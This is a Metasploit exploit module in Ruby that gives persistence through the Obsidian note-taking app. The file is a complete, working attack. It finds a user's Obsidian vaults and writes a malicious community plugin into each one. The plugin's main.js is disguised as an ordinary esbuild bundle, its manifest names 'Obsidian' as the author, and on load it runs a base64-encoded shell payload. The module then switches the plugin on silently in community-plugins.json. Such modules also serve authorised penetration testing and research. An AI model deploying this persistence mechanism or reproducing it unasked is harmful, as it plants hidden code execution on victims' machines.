257 lines
8.7 KiB
Ruby
257 lines
8.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix # whoami
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Obsidian Plugin Persistence',
|
|
'Description' => %q{
|
|
This module searches for Obsidian vaults for a user, and uploads a malicious
|
|
community plugin to the vault. The vaults must be opened with community
|
|
plugins enabled (NOT restricted mode), but the plugin will be enabled
|
|
automatically.
|
|
|
|
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # Module
|
|
'Thomas Byrne' # Research, PoC
|
|
],
|
|
'DisclosureDate' => '2022-09-16',
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Privileged' => false,
|
|
'References' => [
|
|
[ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ],
|
|
[ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ],
|
|
[ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ],
|
|
[ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ],
|
|
[ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ]
|
|
],
|
|
'Arch' => [ARCH_CMD],
|
|
'Platform' => %w[osx linux windows],
|
|
'DefaultOptions' => {
|
|
# 25hrs, you know, just in case the user doesn't open Obsidian for a while
|
|
'WfsDelay' => 90_000,
|
|
'PrependMigrate' => true
|
|
},
|
|
'Payload' => {
|
|
'BadChars' => '"'
|
|
},
|
|
'Stance' => Msf::Exploit::Stance::Passive,
|
|
'Targets' => [
|
|
['Auto', {} ],
|
|
['Linux', { 'Platform' => 'unix' } ],
|
|
['OSX', { 'Platform' => 'osx' } ],
|
|
['Windows', { 'Platform' => 'windows' } ],
|
|
],
|
|
'Notes' => {
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
|
|
},
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('NAME', [ false, 'Name of the plugin', '' ]),
|
|
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
|
|
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
|
|
])
|
|
end
|
|
|
|
def plugin_name
|
|
return datastore['NAME'] unless datastore['NAME'].blank?
|
|
|
|
rand_text_alphanumeric(4..10)
|
|
end
|
|
|
|
def find_vaults
|
|
vaults_found = []
|
|
user = target_user
|
|
vprint_status("Target User: #{user}")
|
|
case session.platform
|
|
when 'windows', 'win'
|
|
config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]
|
|
when 'osx'
|
|
config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]
|
|
when 'linux'
|
|
config_files = [
|
|
"/home/#{user}/.config/obsidian/obsidian.json",
|
|
"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"
|
|
] # snap package
|
|
end
|
|
|
|
config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?
|
|
|
|
config_files.each do |config_file|
|
|
next unless file?(config_file)
|
|
|
|
vprint_status("Found user obsidian file: #{config_file}")
|
|
config_contents = read_file(config_file)
|
|
return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?
|
|
|
|
begin
|
|
vaults = JSON.parse(config_contents)
|
|
rescue JSON::ParserError
|
|
vprint_error("Failed to parse JSON from #{config_file}")
|
|
next
|
|
end
|
|
|
|
vaults_found = vaults['vaults']
|
|
if vaults_found.nil?
|
|
vprint_error("No vaults found in #{config_file}")
|
|
next
|
|
end
|
|
|
|
vaults['vaults'].each do |k, v|
|
|
if v['open']
|
|
print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
|
|
else
|
|
print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
|
|
end
|
|
end
|
|
end
|
|
|
|
vaults_found
|
|
end
|
|
|
|
def manifest_js(plugin_name)
|
|
JSON.pretty_generate({
|
|
'id' => plugin_name.gsub(' ', '_'),
|
|
'name' => plugin_name,
|
|
'version' => '1.0.0',
|
|
'minAppVersion' => '0.15.0',
|
|
'description' => '',
|
|
'author' => 'Obsidian',
|
|
'authorUrl' => 'https://obsidian.md',
|
|
'isDesktopOnly' => false
|
|
})
|
|
end
|
|
|
|
def main_js(_plugin_name)
|
|
if ['windows', 'win'].include? session.platform
|
|
payload_stub = payload.encoded.to_s
|
|
else
|
|
payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"
|
|
end
|
|
%%
|
|
/*
|
|
THIS IS A GENERATED/BUNDLED FILE BY ESBUILD
|
|
if you want to view the source, please visit the github repository of this plugin
|
|
*/
|
|
|
|
var __defProp = Object.defineProperty;
|
|
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
|
|
var __getOwnPropNames = Object.getOwnPropertyNames;
|
|
var __hasOwnProp = Object.prototype.hasOwnProperty;
|
|
var __export = (target, all) => {
|
|
for (var name in all)
|
|
__defProp(target, name, { get: all[name], enumerable: true });
|
|
};
|
|
var __copyProps = (to, from, except, desc) => {
|
|
if (from && typeof from === "object" || typeof from === "function") {
|
|
for (let key of __getOwnPropNames(from))
|
|
if (!__hasOwnProp.call(to, key) && key !== except)
|
|
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
|
|
}
|
|
return to;
|
|
};
|
|
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
|
|
|
|
// main.ts
|
|
var main_exports = {};
|
|
__export(main_exports, {
|
|
default: () => ExamplePlugin
|
|
});
|
|
module.exports = __toCommonJS(main_exports);
|
|
var import_obsidian = require("obsidian");
|
|
var ExamplePlugin = class extends import_obsidian.Plugin {
|
|
async onload() {
|
|
var command = "#{payload_stub}";
|
|
const { exec } = require("child_process");
|
|
exec(command, (error, stdout, stderr) => {
|
|
if (error) {
|
|
console.log(`error: ${error.message}`);
|
|
return;
|
|
}
|
|
if (stderr) {
|
|
console.log(`stderr: ${stderr}`);
|
|
return;
|
|
}
|
|
console.log(`stdout: ${stdout}`);
|
|
});
|
|
}
|
|
async onunload() {
|
|
}
|
|
};
|
|
%
|
|
end
|
|
|
|
def target_user
|
|
return datastore['USER'] unless datastore['USER'].blank?
|
|
|
|
return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform
|
|
|
|
whoami
|
|
end
|
|
|
|
def check
|
|
return CheckCode::Appears('Vaults found') unless find_vaults.empty?
|
|
|
|
CheckCode::Safe('No vaults found')
|
|
end
|
|
|
|
def exploit
|
|
plugin = plugin_name
|
|
print_status("Using plugin name: #{plugin}")
|
|
vaults = find_vaults
|
|
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
|
|
vaults.each_value do |vault|
|
|
print_status("Uploading plugin to vault #{vault['path']}")
|
|
# avoid mkdir function because that registers it for delete, and we don't want that for
|
|
# persistent modules
|
|
if ['windows', 'win'].include? session.platform
|
|
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
|
|
else
|
|
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
|
|
end
|
|
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
|
|
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
|
|
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
|
|
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))
|
|
|
|
# read in the enabled community plugins, and add ours to the enabled list
|
|
if file?("#{vault['path']}/.obsidian/community-plugins.json")
|
|
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
|
|
begin
|
|
plugins = JSON.parse(plugins)
|
|
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
|
|
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
|
|
print_good("Config file saved in: #{path}")
|
|
rescue JSON::ParserError
|
|
plugins = []
|
|
end
|
|
|
|
plugins << plugin unless plugins.include?(plugin)
|
|
else
|
|
plugins = [plugin]
|
|
end
|
|
vprint_status("adding #{plugin} to the enabled community plugins list")
|
|
write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins))
|
|
print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.')
|
|
end
|
|
end
|
|
end
|